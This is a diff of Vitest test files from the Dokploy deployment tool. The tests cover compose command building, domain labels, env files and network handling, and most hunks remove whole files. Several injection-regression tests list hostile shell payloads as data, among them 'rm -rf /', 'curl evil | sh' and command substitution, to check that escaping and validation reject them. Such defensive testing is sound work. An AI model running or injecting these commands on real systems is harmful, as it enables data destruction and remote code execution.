it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});
@@ -1,14 +0,0 @@
import { describe, it, expect } from "vitest";
describe("Remote Server Action Tooltips", () => {
it("should close the tooltip when the dialog trigger is clicked", () => {
// Note: The UI layer in this project is not currently tested with DOM simulation tools
// like React Testing Library or JSDOM.
//
// The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild)
// inherently guarantees that Radix UI's composeEventHandlers properly propagates the
// onPointerDown event to dismiss the tooltip simultaneously as the dialog opens.
expect(true).toBe(true);
});
});
@@ -1,169 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});
@@ -1,123 +0,0 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
command: "",
};
describe("compose createCommand --project-directory", () => {
it("pins --project-directory to the code dir when composePath is nested", () => {
const cmd = createCommand(
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f ./deploy/docker-compose.yml");
});
it("omits --project-directory when no projectPath is passed", () => {
const cmd = createCommand({
...base,
composePath: "./deploy/docker-compose.yml",
} as any);
expect(cmd).not.toContain("--project-directory");
});
it("does not add --project-directory to stack deploy (unsupported flag)", () => {
const cmd = createCommand(
{
...base,
composeType: "stack",
composePath: "./deploy/docker-compose.yml",
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--project-directory");
expect(cmd.startsWith("stack deploy")).toBe(true);
});
it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
const cmd = createCommand(
{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f docker-compose.yml");
});
it("resolves build.context against the compose file's own directory when there are no mounts", () => {
const cmd = createCommand({
...base,
composePath: "./backend/docker-compose.yml",
} as any);
expect(cmd).not.toContain("--project-directory");
expect(cmd).toContain("-f ./backend/docker-compose.yml");
});
});
describe("compose createCommand --env-file", () => {
it("points --env-file at the generated .env next to a nested compose file", () => {
const cmd = createCommand(
{
...base,
composePath: "./deploy/docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("--env-file deploy/.env");
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
});
it("omits --env-file when createEnvFile is disabled", () => {
const cmd = createCommand(
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--env-file");
});
it("uses the code-root .env for raw sourceType", () => {
const cmd = createCommand(
{
...base,
sourceType: "raw",
composePath: "docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("--env-file .env");
});
it("does not add --env-file to stack deploy (unsupported flag)", () => {
const cmd = createCommand(
{
...base,
composeType: "stack",
composePath: "./deploy/docker-compose.yml",
createEnvFile: true,
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--env-file");
});
});
@@ -1,44 +0,0 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
composePath: "./docker-compose.yml",
command: "",
};
describe("compose createCommand --pull always", () => {
it("adds --pull always when pullImages is enabled", () => {
const cmd = createCommand({ ...base, pullImages: true } as any);
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
});
it("omits --pull when pullImages is disabled", () => {
const cmd = createCommand({ ...base, pullImages: false } as any);
expect(cmd).not.toContain("--pull");
});
it("does not add --pull to stack deploy", () => {
const cmd = createCommand({
...base,
composeType: "stack",
pullImages: true,
} as any);
expect(cmd).not.toContain("--pull");
});
it("leaves a custom command untouched", () => {
const cmd = createCommand({
...base,
command: "compose -p compose-app up -d",
pullImages: true,
} as any);
expect(cmd).toBe("compose -p compose-app up -d");
});
});
@@ -1,69 +0,0 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
enabled: true,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});
@@ -1,306 +0,0 @@
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { beforeEach, describe, expect, it, vi } from "vitest";
// With sourceType "raw", addDomainToCompose parses compose.composeFile
// directly instead of reading from disk, so baseCompose exposes it as a
// getter that always reflects the current composeYaml for each test case.
const baseComposeYaml = `
services:
frigate:
image: frigate
`;
let composeYaml = baseComposeYaml;
const baseCompose = {
appName: "test-app",
composeType: "docker-compose",
composePath: "docker-compose.yml",
sourceType: "raw",
serverId: null,
isolatedDeployment: false,
randomize: false,
suffix: "",
get composeFile() {
return composeYaml;
},
} as unknown as Compose;
const baseDomain: Domain = {
host: "frigate.example.com",
port: 8971,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "compose-id",
domainType: "compose",
serviceName: "frigate",
domainId: "domain-id",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const serviceLabels = (
result: Awaited<ReturnType<typeof addDomainToCompose>>,
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
describe("addDomainToCompose enabled filtering", () => {
beforeEach(() => {
vi.clearAllMocks();
composeYaml = baseComposeYaml;
});
it("generates traefik labels for an enabled domain", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: true },
]);
const labels = serviceLabels(result);
expect(labels).toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
true,
);
});
it("skips a disabled domain entirely (no traefik labels)", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: false },
]);
const labels = serviceLabels(result);
expect(labels).not.toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
false,
);
});
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
] as const)(
"removes stale labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
legacy:
image: frigate
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
[
"stack",
`services:
legacy:
image: frigate
deploy:
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
] as const)(
"removes stale labels from the previous %s service after reassignment",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, serviceName: "frigate", enabled: false },
]);
const previousService = result?.services?.legacy;
const labels =
composeType === "docker-compose"
? previousService?.labels
: previousService?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
] as const)(
"removes stale mapping labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({ "custom.label": "preserved" });
expect(
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.docker.network",
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.swarm.network",
],
] as const)(
"regenerates routing in mapping labels for an enabled domain in %s",
async (composeType, mappingComposeYaml, networkLabel) => {
composeYaml = mappingComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: true },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({
"custom.label": "preserved",
"traefik.enable": "true",
[networkLabel]: "dokploy-network",
"traefik.http.routers.test-app-1-web.rule":
"Host(`frigate.example.com`)",
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
});
},
);
it("emits labels only for the enabled domain when both are present", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, host: "enabled.example.com", enabled: true },
{
...baseDomain,
host: "disabled.example.com",
uniqueConfigKey: 2,
enabled: false,
},
]);
const labels = serviceLabels(result);
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
true,
);
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
false,
);
});
});
@@ -35,7 +35,6 @@ describe("Host rule format regression tests", () => {
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("Host rule format validation", () => {
@@ -24,7 +24,6 @@ describe("createDomainLabels", () => {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
it("should create basic labels for web entrypoint", async () => {
@@ -1,133 +0,0 @@
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
describe("raw remote compose conversion (#4794)", () => {
it("uses the saved raw source and preserves supported mount syntax", async () => {
vi.mocked(execAsyncRemote).mockResolvedValue({
stdout: "services:\n test:\n image: alpine:latest\n",
stderr: "",
});
const compose = {
appName: "raw-stack",
composeFile: `
services:
test:
image: alpine:latest
volumes:
- type: tmpfs
target: /scratch
- type: volume
source: test-data
target: /data
tmpfs:
- /cache
volumes:
test-data:
`,
composeId: "compose-1",
name: "raw-stack",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "production",
projectId: "project-1",
project: { name: "shop", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
expect(converted?.services?.test?.volumes).toEqual([
{ type: "tmpfs", target: "/scratch" },
{
type: "volume",
source: "test-data",
target: "/data",
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(converted?.services?.test?.labels).toEqual(
expect.arrayContaining([
"dokploy.organization.id=org-1",
"dokploy.project=shop",
"dokploy.service=test",
]),
);
expect(converted?.services?.test?.deploy?.labels).toEqual(
expect.arrayContaining(["dokploy.organization.id=org-1"]),
);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
const compose = {
appName: "dollar-stack",
composeFile: `
services:
mapped:
image: alpine:latest
labels:
custom: keep
deploy:
labels:
custom: keep
listed:
image: alpine:latest
labels:
- custom=keep
`,
composeId: "compose-1",
name: "app $DB_PASSWORD",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "env ${HOME}",
projectId: "project-1",
project: { name: "Budget $100", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: null,
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
const escaped = {
"dokploy.project": "Budget $$100",
"dokploy.environment": "env $${HOME}",
"dokploy.application": "app $$DB_PASSWORD",
};
const mapped = converted?.services?.mapped;
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
expect(mapped?.deploy?.labels).toMatchObject({
custom: "keep",
...escaped,
});
const listed = converted?.services?.listed;
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
expect(listed?.labels).toEqual(
expect.arrayContaining(["custom=keep", ...asList]),
);
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
});
});
@@ -1,111 +0,0 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
APP_URL: "https://example.com",
ASSET_URL: "https://example.com",
DB_HOST: "localhost",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
APP_URL: "https://example.com",
ASSET_URL: '"${APP_URL}"',
DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
};
const hasDocker = () => {
try {
execFileSync("docker", ["info"], { stdio: "ignore" });
return true;
} catch {
return false;
}
};
describe.skipIf(!hasDocker())("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);
execFileSync("bash", ["-c", command]);
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);
const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}
for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});
@@ -1,45 +0,0 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});
@@ -1,113 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
addAppNameToPreventCollision,
addSuffixToAllProperties,
} from "@dokploy/server";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { expect, test, vi } from "vitest";
import { stringify } from "yaml";
import composeSpec from "../../../components/shared/compose-spec.json";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
const modelCompose = {
services: {
app: {
image: "my-chat-app",
models: ["llm"],
},
worker: {
image: "my-worker",
models: {
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
},
},
},
models: {
llm: {
model: "ai/smollm2",
context_size: 2048,
runtime_flags: ["--verbose"],
},
},
} satisfies ComposeSpecification;
test("bundled compose schema declares models", () => {
expect(composeSpec.properties).toHaveProperty("models");
expect(composeSpec.definitions.model.required).toEqual(["model"]);
expect(composeSpec.definitions.service.properties).toHaveProperty("models");
});
test("suffixing does not rename model identifiers or drop model config", () => {
const updated = addSuffixToAllProperties(
structuredClone(modelCompose),
"testhash",
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.models?.llm?.context_size).toBe(2048);
expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
expect(updated.services?.["worker-testhash"]?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
expect(updated.services).not.toHaveProperty("app");
expect(updated.models).not.toHaveProperty("llm-testhash");
});
test("isolated deployment preserves model identifiers", () => {
const updated = addAppNameToPreventCollision(
structuredClone(modelCompose),
"chat-app",
false,
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.services?.app?.models).toEqual(["llm"]);
expect(updated.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
test("raw remote compose conversion preserves models", async () => {
const converted = await addDomainToCompose(
{
appName: "chat-app",
composeFile: stringify(modelCompose, { lineWidth: 1000 }),
composePath: "./docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Compose,
[],
);
expect(execAsyncRemote).not.toHaveBeenCalled();
expect(converted?.models?.llm?.model).toBe("ai/smollm2");
expect(converted?.services?.app?.models).toEqual(["llm"]);
expect(converted?.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
@@ -1,199 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
applyServiceNetworks,
declareUsedNetworksInRoot,
resolveServiceNetworks,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { beforeEach, expect, test, type vi } from "vitest";
import { parse } from "yaml";
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
beforeEach(() => {
findManyMock.mockReset();
findManyMock.mockResolvedValue([]);
});
const baseCompose = {
serverId: null,
isolatedDeployment: false,
} as unknown as Compose;
const withServiceNetworks = (
serviceNetworks: Compose["serviceNetworks"],
): Compose => ({ ...baseCompose, serviceNetworks });
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
expect(findManyMock).not.toHaveBeenCalled();
});
test("applyServiceNetworks: injects assigned network by networkId", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.has("shared-net")).toBe(true);
expect(result.services?.web?.networks).toContain("shared-net");
});
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
const result = parse(`
services:
db:
image: postgres
networks:
- dokploy-network
- default
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
]),
);
expect(injected.size).toBe(0);
expect(result.services?.db?.networks).not.toContain("dokploy-network");
expect(result.services?.db?.networks).not.toContain("default");
});
test("applyServiceNetworks: unknown networkId is skipped", async () => {
findManyMock.mockResolvedValue([]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
